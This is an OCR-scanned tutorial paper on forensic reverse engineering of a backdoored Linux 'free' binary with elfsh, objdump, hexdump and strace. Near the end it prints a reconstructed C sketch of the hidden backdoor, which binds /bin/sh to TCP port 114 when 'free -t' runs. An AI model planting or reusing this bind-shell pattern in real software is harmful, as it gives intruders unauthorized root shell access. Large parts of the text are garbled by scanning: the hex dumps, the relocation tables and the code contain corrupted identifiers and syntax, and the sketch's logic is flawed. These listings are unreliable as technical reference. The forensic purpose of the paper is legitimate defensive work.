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Reverse Engineering 
Backdoored Binaries 

By ChrisR 

This paper is on reverse engineering backdoored binaries 
on an x86 Linux Operating System. It is meant for the 
beginner reverse engineer with some knowledge of ELF, C, 
x86 ASM, and Linux. We will begin by explaining the 
basics of our binary from what we can determine by 
disassembling and then we will recreate the source code 
for the evil part of our backdoored binary. You will need a 
few basic tools for this, objdump, elfsh, hexdump, a text 
editor. . . and your brain. 

1 Introduction 

Our binary is a backdoored version of 'free'. Below is a 
brief description of the free application, 



borg:/# whatis free 

free (1) - Display amount of free and used memory in the 

system 

borg:/# 



Our binary has been backdoored, which we are sure of 
because the SHA-1 sum calculated yesterday does not 
match the current SHA-1 sum. Therefore, we have 
already detected the intruder and now want to perform a 
forensic analysis on the binary. At this point we have no 
idea what malicious code may be present in the 
application. 

Let us begin by using elfsh, which is a shell environment 
for toying with ELF binaries. You can get a copy here 
http://elfsh.segfault.net/ from the folks at segfault. 



############################### 
[ELFsh-0.51b3]$ load free 

[*] New object free loaded on Tue Mar 30 15:13:23 2004 
[ELFsh-0.51b3]$ 

############################### 



Our 'free' binary is now loaded into elfsh. We will skip 
over printing our Program Header Table' because it's not 
that important within the scope of this paper. The first 
thing we want to do is print our 'Section Header Table' so 
we know what sections are present and then we can 
assess where to go from there. Various text has been 
stripped to save space. 



############################### 
[ELFsh-0.51b3]$ sht 

[SECTION HEADER TABLE .::. SHT is not stripped] 
[Object free] 



[000] (nil) = NULL section 

[001] 0x80480f4 a .interp ... = Program data 

[002] 0x8048108 a .note.ABI-tag ... = Notes 

[003] 0x8048128 a .hash ... = Symbol hash table 

[004] 0x80482ac a .dynsym ... = Dynamic linker 

symtab 

[005] 0x804864c a .dynstr ... = String table 

[006] 0x804881e a .gnu. version ... = type 6FFFFFFF 

type 



[007] 0x8048894 a .gnu.version_r 

6FFFFFFE 



[008] 0x80488d4 a .rel.dyn . 

addends 



■ Reloc. ent. w/o 



[009] 0x80488fc a .rel.plt ... = Reloc. ent. w/o addends 

[010] 0x8048a84 a-x— - .init ... = Program data 
[011] 0x8048a9c a-x—- .pit ... = Program data 
[012] 0x8048dc0 a-x— .text ... = Program data 
[013] 0x804acl0 a-x — .fini ... = Program data 

[014] 0x804ac40 a .rodata ... = Program data 

[015] 0x804c000 aw .data ... = Program data 

[016] 0x804c020 aw .eh_frame ... = Program data 

Dynamic linking 



[017] 0x804c024 aw .dynamic . 

info 



[018] 0x804c0ec aw .ctors 

[019] 0x804c0fc aw .dtors . 

[020] 0x804cl04 aw .jcr ... 



= Program data 
= Program data 
Program data 



[021] 0x804cl08 aw .got ... = Program data 

[022] 0x804cle0 aw—- .bss ... = BSS 

[023] (nil) .comment ... = Program data 

[024] (nil) .debug_aranges ... = Program data 

[025] (nil) .debug_pubnames ... = Program data 

[026] (nil) .debug_info ... = Program data 

[027] (nil) .debug_abbrev ... = Program data 

[028] (nil) .debug_line ... = Program data 

[029] (nil) .debug_frame ... = Program data 

[030] (nil) — ms— .debug_str ... = Program data 

[031] (nil) .debug_macinfo ... = Program data 

[032] (nil) .debug_ranges ... = Program data 

[033] (nil) .shstrtab ... = String table 

[034] (nil) .symtab ... = Symbol table 

[035] (nil) .strtab ... = String table 

[ELFsh-0.51b3]$ 

############################### 



Our section header table is a map for the process image. 
These sections contain all the information about the 
process image except the ELF program header itself. The 
(nil) sections above contain no information for the 
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process. For example the .comment and .debug_info 
sections contain no data. I won't go over all of the 
sections in detail because most are always present in any 
ELF binary and covered more in detail in the appropriate 
documentation. 

2 Searching the sections 

There are a few parts to this ELF layout we want to focus 
on, which are .dynstr(a section that contains our string 
tables) and the relocation tables entries. Our strings 
entries will greatly help us determine what evil deeds 
this binary is doing during run time. String tables have 
an intricate layout that is covered in extensive detail in 
ELF documentation. All we need to focus on at this time 
is reading this section with our chosen application and 
then parsing through the strings to find interesting 
references. 'Strings' is a good application for pulling 
ASCII printable strings from an object file. The trouble 
with 'Strings' is that it's not just scanning our .dynstr 
section, which may be viewed as a positive however that's 
not what we are focusing on at the moment. As we can 
see above in the elfsh output our .dynstr section starts at 
address 0x804864c, the section following address 
0x804864c starts at 0x804881e, therefore let's assume we 
have to do our search within this space. Lets break open 
the old HEX editor and objdump to read this section. 

############################### 
borg:/$ objdump -D free fdis 
############################### 

We don't want that entire objdump output on our 
terminal, it would be too much to scroll through, which is 
why we pipe it to 'fdis'. Open the file fdis and search 
through it for '.dynstr'. It should bring you to a section 
that appears to start off similar to below, only the 
beginning text was pasted as not to consume too much 
space. 

############################### 
Disassembly of section .dynstr: 
0804864c <. dynstr: 

804864c: 00 6c 69 62 add %ch,0x62(%ecx,%ebp,2) 

8048650: 63 2e arpl %bp,(%esi) 

8048652: 73 6f jae 80486c3 <_init-0x3cl 

8048654: 2e 36 00 73 74 add %dh,%cs:%ss:0x74(%ebx) 

############################### 

Now we have something to search for (00 6c 69 62) from 
our .dynstr section. This should make our hex editor 
much easier to use. Let's use good old hexdump on our 
binary, 'hexdump -C free free_hex'. Once again we pipe 
the output to a file as to not overload our terminal. Now 
use an editor to find the correct spot in the file, by 



searching for '6c 69 62'. Because it's a hex editor we have 
to search two or three times before hitting the correct 
section, multiple entries of our search term may be 
found. It should look similar to this: 



6c 69 62 I....0 lib I 

00000650 63 2e 73 6f 2e 36 00 73 74 72 63 70 79 00 73 79 
I c.so.6.strcpy.sy I 

00000660 73 63 6f 6e 66 00 5f 5f 73 74 72 74 6f 64 5f 69 I 
sconf. strtod_i I 

00000670 6e 74 65 72 6e 61 6c 00 73 74 64 6f 75 74 00 5f I 
nternal.stdout._ I 

00000680 5f 73 74 72 74 6f 6c 5f 69 6e 74 65 72 6e 61 6c I 
_strtol_internal I 

00000690 00 62 73 65 61 72 63 68 00 75 73 6c 65 65 70 00 
I .bsearch.usleep. I 

000006a0 67 65 74 70 69 64 00 66 67 65 74 73 00 65 78 65 
I getpid.fgets.exe I 

000006b0 63 6c 00 70 65 72 72 6f 72 00 70 75 74 73 00 64 
I cl.perror.puts.d I 

000006c0 75 70 32 00 67 65 74 75 69 64 00 6f 70 74 61 72 
I up2.getuid.optar I 

000006d0 67 00 73 6f 63 6b 65 74 00 72 65 61 64 64 69 72 
I g. socket, readdir I 

000006e0 00 5f 5f 73 74 72 74 6f 75 6c 5f 69 6e 74 65 72 I 
. strtoul_inter I 

000006f0 6e 61 6c 00 66 66 6c 75 73 68 00 6c 73 65 65 6b 
I nal.fflush.lseek I 

00000700 00 75 6e 61 6d 65 00 61 63 63 65 70 74 00 66 70 
I .uname.accept.fp I 

00000710 72 69 6e 74 66 00 62 69 6e 64 00 73 74 72 73 74 
I rintf.bind.strst I 

00000720 72 00 73 69 67 6e 61 6c 00 72 65 61 64 00 73 65 
I r.signal. read.se I 

00000730 74 70 67 72 70 00 72 65 61 6c 6c 6f 63 00 6c 69 
I tpgrp.realloc.li I 

00000740 73 74 65 6e 00 66 6f 72 6b 00 73 73 63 61 6e 66 
I sten.fork.sscanf I 

00000750 00 67 65 74 6f 70 74 00 6f 70 65 6e 64 69 72 00 
I .getopt.opendir. I 

00000760 73 74 72 63 6d 70 00 73 70 72 69 6e 74 66 00 66 
I strcmp.sprintf.fi 

00000770 63 6c 6f 73 65 00 73 65 74 6c 6f 63 61 6c 65 00 I 
close. setlocale. I 

00000780 73 74 64 65 72 72 00 66 70 75 74 63 00 5f 5f 63 
I stderr.fputc. c I 

00000790 74 79 70 65 5f 62 5f 6c 6f 63 0 0 6 6 77 72 69 74 I 
type_b_loc.fwrit I 

000007a0 65 00 66 6f 70 65 6e 00 5f 49 4f 5f 73 74 64 69 I 
e.fopen._IO_stdi I 

000007b0 6e 5f 75 73 65 64 00 5f 65 78 69 74 00 5f 5f 6c I 
n_used._exit. 1 1 
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000007c0 69 62 63 5f 73 74 61 72 74 5f 6d 61 69 6e 00 73 
I ibc_start_main.s I 

000007d0 74 72 6c 65 6e 00 73 74 72 63 68 72 00 63 6c 6f 
I trlen.strchr.clo I 

000007e0 73 65 64 69 72 00 5f 5f 65 6e 76 69 72 6f 6e 00 I 
sedir. environ. I 

000007A) 5f 5f 67 6d 6f 6e 5f 73 74 61 72 74 5f 5f 00 47 I 
gmon_start .G I 

00000800 4c 49 42 43 5f 32 2e 33 00 47 4c 49 42 43 5f 32 
ILIBC_2.3.GLIBC_2I 

00000810 2e 31 00 47 4c 49 42 43 5f 32 2e 30 00 00 00 00 
I .l.GLIBC 2.0 



Above are easily readable ASCII strings that may or may 
not stick out. Let's take 'bind' into consideration. Why is 
our 'free' memory reporting the application making a 
bind call? Could this be an evil backdoor that is binding a 
shell? Below is a list of ASCII strings that the clever 
reader should have picked out from the .dynstr section 
above: 



getuid 

listen 

fork 

socket 

accept 

bind 

fork 



When we compare a 'strings' output to a known clean 
binary of free we don't see these at all. 



############################### 
borg:/usr/bin$ strings free I grep accept 
borg:/usr/bin$ strings free I grep bind 
borg:/usr/bin$ strings free I grep getuid 
borg:/usr/bin$ strings free I grep socket 
borg:/usr/bin$ 

############################### 



The above .dynstr section is not a complete roundup of all 
readable ASCII strings found in this binary, which is 
easily proven by running the application 'strings' on our 
backdoored binary. Now we have to ask ourselves, why is 
our free application making these types of calls? All we 
can do at this point is speculate, and say these calls are 
usually seen when trying to open a network socket or 
binding a shell to a 'secret' option. Let's dig a bit deeper 
into this binary. 

Now we'll focus on our relocation tables entries to see if 
we can pick up on any other malicious behavior that 
stands out. Using the 'rel' command in our elfsh with our 
free binary loaded will produce the following: 



############################### 
[ELFsh-0.51b3]$ rel 



[RELOCATION TABLES] 
[Object free] 
{Section .rel.dyn} 

[000] R_386_GLOB_DAT 0x804cld8 sym[056] : 
gmon_start 

[001] R_386_COPY 0x804cle0 sym[032] : _environ 
[002] R_386_COPY 0x804cle4 sym[019] : stdout 
[003] R_386_COPY 0x804cle8 sym[020] : stderr 
[004] R_386_COPY 0x804clec sym[047] : optarg 
{Section .rel. pit} 

[000] R_386_JMP_SLOT 0x804cll4 sym[001] : usleep 
[001] R_386_JMP_SLOT 0x804cll8 sym[002] : 



strtod_internal 






[002] R_ 


_386. 


_JMP. 


_SLOT 0x804cllc sym[003] 


GXGCl 


[003] R_ 


_386. 


_JMP. 


_SLOT 0x804cl20 sym[004] 


• afypfiT 1 


[004] R 


_386. 


_JMP. 


_SLOT 0x804cl24 sym[005] 


* Q flf TlfTTTl 


[005] R_ 


_386. 


_JMP. 


_SLOT 0x804cl28 sym[006] 


. gcupiu 


[006] R_ 


_386. 


_JMP. 


_SLOT 0x804cl2c sym[007] 


bill CIIip 


[007] R_ 


_386. 


_JMP. 


_SLOT 0x804cl30 sym[008] 


: close 


[008] R_ 


_386. 


_JMP. 


_SLOT 0x804cl34 sym[009] 


• (In i' i'i n' 
. pel I UI 


[009] R_ 


_386. 


_JMP. 


_SLOT 0x804cl38 symfOlO] 


fprintf 


[010] R_ 


.386. 


_JMP_ 


_SLOT 0x804cl3c sym[011] : 


fork 


[011] R_ 


.386. 


_JMP_ 


_SLOT 0x804cl40 sym[012] 


signal 


[012] R_ 


_386_ 


_JMP_ 


.SLOT 0x804cl44 sym[013] 


fflush 


[013] R_ 


.386. 


_JMP_ 


_SLOT 0x804cl48 sym[014] 


setlocale 


[014] R_ 


386. 


_JMP_ 


SLOT 0x804cl4c sym[016] : 


accept 


[015] R_ 


.386. 


_JMP_ 


_SLOT 0x804cl50 sym[017] 


puts 


[016] R_ 


386_JMP_SLOT 0x804cl54 sym[018] 


listen 


[017] R_ 


386_ 


_JMP_ 


SLOT 0x804cl58 sym[021] 


sysconf 


[018] R_ 


.386. 


_JMP_ 


_SLOT 0x804cl5c sym[022] 


getopt 


[019] R_ 


.386. 


_JMP_ 


_SLOT 0x804cl60 sym[023] 


fgets 


[020] R_ 


_386. 


_JMP. 


_SLOT 0x804cl64 sym[024] 


: strstr 


[021] R_ 


_386_ 


_JMP_ 


.SLOT 0x804cl68 sym[025] 


: strlen 


[022] R_ 


_386. 


_JMP. 


.SLOT 0x804cl6c sym[026] 


uname 


[023] R_386_JMP. 
strtol_internal 


.SLOT 0x804cl70 sym[027] 





[024] R_386_JMP_SLOT 0x804cl74 sym[028] : fputc 

[025] R_386_JMP_SLOT 0x804cl78 sym[029] : 
libc_start_main 

[026] R_386_JMP_SLOT 0x804cl7c sym[030] : dup2 
[027] R_386_JMP_SLOT 0x804cl80 sym[031] : realloc 
[028] R_386_JMP_SLOT 0x804cl84 sym[033] : printf 
[029] R_386_JMP_SLOT 0x804cl88 sym[034] : bind 
[030] R_386_JMP_SLOT 0x804cl8c sym[035] : getuid 
[031] R_386_JMP_SLOT 0x804cl90 sym[036] : lseek 
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[032] R_386_JMP_SLOT 0x804cl94 sym[038] 


fclose 


[033] R_386_JMP_SLOT 0x804cl98 sym[039] 


closedir 


[034] R_386_JMP_SLOT 0x804cl9c sym[040] 


opendir 


[035] R_386_JMP_SLOT 0x804cla0 sym[041] 


open 


[036] R_386_JMP_SLOT 0x804cla4 sym[042] 


: exit 


[037] R_386_JMP_SLOT 0x804cla8 sym[043] 


sscanf 


[038] R_386_JMP_SLOT 0x804clac sym[044] 


_exit 


[039] R_386_JMP_SLOT 0x804clb0 sym[045] 


: fopen 


[040] R_386_JMP_SLOT 0x804clb4 sym[046] 
strtoul_internal 




[041] R_386_JMP_SLOT 0x804clb8 sym[049] 


sprintf 


[042] R_386_JMP_SLOT 0x804clbc sym[050] 


fwrite 


[043] R_386_JMP_SLOT 0x804clc0 sym[051] 


socket 


[044] R_386_JMP_SLOT 0x804clc4 sym[052] 


readdir 


[045] R_386_JMP_SLOT 0x804clc8 sym[053] 
ctype_b_loc 




[046] R_386_JMP_SLOT 0x804clcc sym[054] : 


bsearch 


[047] R_386_JMP_SLOT 0x804cld0 sym[055] 


read 


L04oJ K_oob_JM.r_D.LUl UxeU4cla4 symLOo/J 


: strcpy 


[ELFsh-0.51b3]$ 




############################### 





An executable image has to provide information on how 
to modify its sections. The calls above such as execl, 
getpid, fork, and so on, are obviously calling outside of 
the program because '_386_JMP_SLOT' implies this 
binary was not statically linked at compile time. So the 
program has to modify one or more of its program data 
sections in order to incorporate these outside calls. We 
can easily pick out our suspicious calls this binary is 
making during run time but unfortunately we are not 
sure when during run time they are being called yet, just 
that they are. 



############################### 




[002] R_386_JMP_SLOT 0x804cllc sym[003] 


: execl 


[010] R_386_JMP_SLOT 0x804cl3c sym[011] : 


fork 


[014] R_386_JMP_SLOT 0x804cl4c sym[016] : 


accept 


[016] R_386_JMP_SLOT 0x804cl54 sym[018] 


listen 


[029] R_386_JMP_SLOT 0x804cl88 sym[034] 


: bind 


[030] R_386_JMP_SLOT 0x804cl8c sym[035] 


: getuid 


[043] R_386_JMP_SLOT 0x804clc0 sym[051] 


socket 


############################### 





3 Following the objdump 

Above we saw the suspicious entries we saw before in our 
strings table. Why exactly is our binary making these 
calls? We'll follow these addresses to find out. Now let's 
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assume this is a backdoor socket that is possibly binding 
a shell. A sharp reader would have noticed these are for 
the most part already in logical order from the bottom 
up. The getuid call is a bit out of place, but wea€™ll take 
it for granted because we dont know what the original 
code looked like yet and continue on. Our socket call is 
located at 0x804clc0, therefore if we parse through our 
objdump output we find this: 

############################### 
SOCKET 

8048d5c: ff 25 cO cl 04 08 jmp *0x804clc0 
8048d62: 68 58 01 00 00 push $0x158 
8048d67: e9 30 fd ff ff jmp 8048a9c <_init+0xl8 
############################### 

The address where our external socket address of 
0x804clc0 gets called from is '8048d5c'. We know our 
socket call is located at 0x804clc0, but this is located 
outside of our binary, so we must backtrack a tad to find 
out where our program sets up this code. Because we see 
where the program is jumping from, address 8048d5c, we 
will search our dump again to see where it is called from. 
By doing this we come up with what is below: 

############################### 
8048eb7: e8 aO fe ff ff call 8048d5c <_init+0x2d8 
8048ebc: 89 43 dc mov %eax,0xffffffdc(%ebx) 
8048ebf: 83 c4 10 add $0xl0,%esp 
8048ec2: 40 inc %eax 

8048ec3: Of 84 42 01 00 00 je 804900b <gogogo.0+0xl8b 

8048ec9: c7 43 fO 00 00 00 00 movl $0x0,0xfffffffD(%ebx) 

8048ed0: c7 43 f8 00 00 00 00 movl $0x0,0xfffffff8(%ebx) 

8048ed7: c7 43 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebx) 

8048ede: 66 c7 43 fO 02 00 movw $0x2,0xfffffff0(%ebx) 

8048ee4: c7 43 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebx) 

8048eeb: 66 c7 43 f2 00 72 movw $0x7200,0xfffffff2(%ebx) 

8048efl: 50 push %eax 

8048ef2: 6a 10 push $0x10 

8048ef4: 8d 43 fl) lea 0xfffffffl)(%ebx),%eax 

8048ef7: 50 push %eax 

8048ef8: 89 45 ec mov %eax,0xffffffec(%ebp) 

8048efb: 8b 43 dc mov 0xffffffdc(%ebx),%eax 

8048efe: 50 push %eax 

############################### 

Could this be the beginning of a function named 'gogogo' 
that sets up our socket? 

8048ec3: Of 84 42 01 00 00 je 804900b <gogogo.0+0xl8b 
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Could this be a socket preparing to bind to port 114? 
(114 in HEX is 72) 

048eeb: 66 c7 43 f2 00 72 movw $0x7200,0xfffffff2(%ebx) 

Now we know a socket call has been implemented, 
therefore we should follow our getuid, bind, listen, accept, 
and execl calls in the same fashion. 

############################### 
GETUID 

8048c8c: ff 25 8c cl 04 08 jmp *0x804cl8c 

8048c92: 68 fO 00 00 00 push $0xf0 

8048c97: e9 00 fe ff ff jmp 8048a9c <_init+0x!8 



8048e8e: e8 f9 fd ff ff call 8048c8c <_init+0x208 

8048e93: 85 cO test %eax,%eax 

8048e95: ba 01 00 00 00 mov $0xl,%edx 

8048e9a: 74 14 je 8048eb0 <gogogo. 0+0x30 

8048e9c: 8d 65 f4 lea 0xfffffff4(%ebp),%esp 

8048e9f: 5b pop %ebx 

8048ea0: 5e pop %esi 

8048eal: 5f pop %edi 

8048ea2: 89 dO mov %edx,%eax 

8048ea4: 5d pop %ebp 

8048ea5: c3 ret 

8048ea6: 8d 76 00 lea 0x0(%esi),%esi 

8048ea9: 8d be 27 00 00 00 00 lea 0x0(%edi,l),%edi 

8048eb0: 50 push %eax 

8048ebl: 6a 06 push $0x6 

8048eb3: 6a 01 push $0x1 

8048eb5: 6a 02 push $0x2 

############################### 

############################### 

BIND 

8048c7c: ff 25 88 cl 04 08 jmp *0x804cl88 

8048c82: 68 e8 00 00 00 push $0xe8 

8048c87: e9 10 fe ff ff jmp 8048a9c <_init+0xl8 



8048eff: e8 78 fd ff ff call 8048c7c <_init+0xlf8 

8048f04: 83 c4 10 add $0xl0,%esp 

8048f07: 85 cO test %eax,%eax 

8048f09: 89 43 d8 mov %eax,0xffffffd8(%ebx) 

8048f0c: ba 01 00 00 00 mov $0xl,%edx 

8048fll: 75 89 jne 8048e9c <gogogo.0+0xlc 



############################### 
############################### 
LISTEN 

8048bac: ff 25 54 cl 04 08 jmp *0x804cl54 
8048bb2: 68 80 00 00 00 push $0x80 
8048bb7: e9 eO fe ff ff jmp 8048a9c _init+0xl8 



8048f51: e8 56 fc ff ff call 8048bac <_init+0xl28 

8048f56: 83 c4 10 add $0xl0,%esp 

8048f59: 85 cO test %eax,%eax 

8048f5b: 89 43 d8 mov %eax,0xffffffd8(%ebx) 

8048f5e: ba 01 00 00 00 mov $0xl,%edx 

8048f63: Of 85 33 ff ff ff jne 8048e9c <gogogo.0+0xlc 

8048f69: 8d 7b d4 lea 0xffffffd4(%ebx),%edi 

8048f6c: 8d 73 eO lea OxffffffeO(%ebx),%esi 

8048f6f: c7 43 d4 10 00 00 00 movl $0xl0,0xffffffd4(%ebx) 

8048f76: 51 push %ecx 

8048f77: 57 push %edi 

8048f78: 56 push %esi 

8048f79: 8b 53 dc mov Oxffffffdc(%ebx),%edx 

8048f7c: 52 push %edx 

8048f7d: 89 75 e8 mov %esi,0xffffffe8(%ebp) 

############################### 

############################### 

ACCEPT 

8048b8c: ff 25 4c cl 04 08 jmp *0x804cl4c 
8048b92: 68 70 00 00 00 push $0x70 
8048b97: e9 00 ff ff ff jmp 8048a9c _init+0xl8 



8048f80: e8 07 fc ff ff call 8048b8c _init+0xl08 

8048f85: 83 c4 10 add $0xl0,%esp 

8048f88: 85 cO test %eax,%eax 

8048f8a: 89 43 dO mov %eax,OxffffffdO(%ebx) 

8048f8d: 78 72 js 8049001 <gogogo.0+0xl81 

############################### 

############################### 

FORK 

8048b4c: ff 25 3c cl 04 08 jmp *0x804cl3c 
8048b52: 68 50 00 00 00 push $0x50 
8048b57: e9 40 ff ff ff jmp 8048a9c _init+0xl8 



8048fl3: e8 34 fc ff ff call 8048b4c _init+0xc8 
8048fl8: 85 cO test %eax,%eax 
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8048fla: ba 01 00 00 00 mov $Oxl,%edx 

8048flf: Of 85 77 ff ff ff jne 8048e9c gogogo.O+Oxlc 

############################### 

############################### 

EXECL 

8048acc: ff 25 lc cl 04 08 jmp *0x804cllc 
8048ad2: 68 10 00 00 00 push $0x10 
8048ad7: e9 cO ff ff ff jmp 8048a9c _init+0xl8 



8048feb: e8 dc fa ff ff call 8048acc _init+0x48 
8048ff0: 5e pop %esi 

8048ffl: 8b 5b dO mov OxffffffdO(%ebx),%ebx 
8048ff4: 53 push %ebx 
############################### 



Could this be /bin/sh? 



8048ffl: 8b 5b dO mov OxffffffdO(%ebx),%ebx 



4 Code Reconstruction 

At this point we've discovered a common link between 
our socket, getuid, bind, listen, accept, fork, and execl 
calls, which is that they all belong to a function most 
likely labeled 'gogogo'. From what we have seen it's 
probably a binded shell on TCP port 114, and it only 
opens if your root (hence the getuid and low port 
number). 



############################### 
#define port 114 

int gogogoO { 

local. sin_family= AFJNET; 
local. sin_port = htons(port); 
local.sin_addr.s_addr=INADDR_ANY; 
memset(&(local.sin_zero), 0, sizeof(local.sin_zero)); 
if((insock=socket(AF_INET,SOCK_STREAM,0))<0) 
return 0; 

if((bind(insock,(struct sockaddr *)&local,sizeof(local))<0)) 
returnO; 

if((listen(insock, 1))<0) 

return 0; 

if(fork()!=0) 

exit(0); 

setpgrpO; 

signaKSIGHUP, SIGJGN); 



sockl=sizeof( struct sockaddr_in); 

if ((outsock = accept(insock, (struct sockaddr *)&away, 

&sockl)) == -1) { 

execl ("/bin/sh", "/bin/sh"); 

############################### 



The above is just a sample of what the original socket 
code MIGHT have looked like (the syntax may be 
incorrect). Upon further review of the binary it is evident 
there may have possibly been a closeO, however it was 
not necessarily important to our forensic work at the 
time. 

This still leaves some unanswered questions such as: 
what is calling this backdoor and how do we trigger it. 
Further analysis on the binary can answer these 
questions. If we search our objdump output for 'gogogo', 
after several hits we stumble upon this: 



804916d: e8 Oe fd ff ff call 8048e80 <gogogo.O 



This appears to be in the 'main' function, exactly where 
we should have expected it to be. But we need to know 
what in the main function calls 'gogogo', therefore let's 
take a look at the section of objdump output around 
'gogogo' in main, 



8049165: e9 fO fe ff ff jmp 804905a <main+0x3a 
804916a: 8d 4d e8 lea 0xffffffe8(%ebp),%ecx 
804916d: e8 Oe fd ff ff call 8048e80 <gogogo.O 
8049172: e8 f9 10 00 00 call 804a270 <meminfo 
8049177: 83 ec 0c sub $0xc,%esp 



The <gogogo.O call appears to be right next to the 
<meminfo call. Perhaps they are called at the same time? 



############################### 
borg:/# strace free -t 

open("/proc/meminfo", 0_RDONLY) = 3 

socket(PF_INET, SOCK_STREAM, IPPROTOJP) = 3 

bind(3, {sa_family=AF_INET, sin_port=htons(114), 
sin_addr=inet_addr("0.0.0.0")}, 16) = 0 

listen(3, 1) 
borg:/# 

############################### 



And there you have it. 
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Although the output above using the strace command is 
extremely cropped you get the idea. Our backdoored 'free' 
binary will open up a backdoor on TCP port 114 with 
/bin/sh binded when the option 'free -t' is used. 

Now let's use strings on our binary and grep for a shell. 



############################### 
borg:~/$ strings /HDB/sbb/free I grep /bin/sh 
/bin/sh 
borg:~/$ 

############################### 



5 Summary 

My apologies if I left anything out of this paper or did 
notcover the details enough. I'm currently planning a 
book on Reverse Engineering and forensics in *NIX 
environments. If you would like to contribute then by all 
means email me. 
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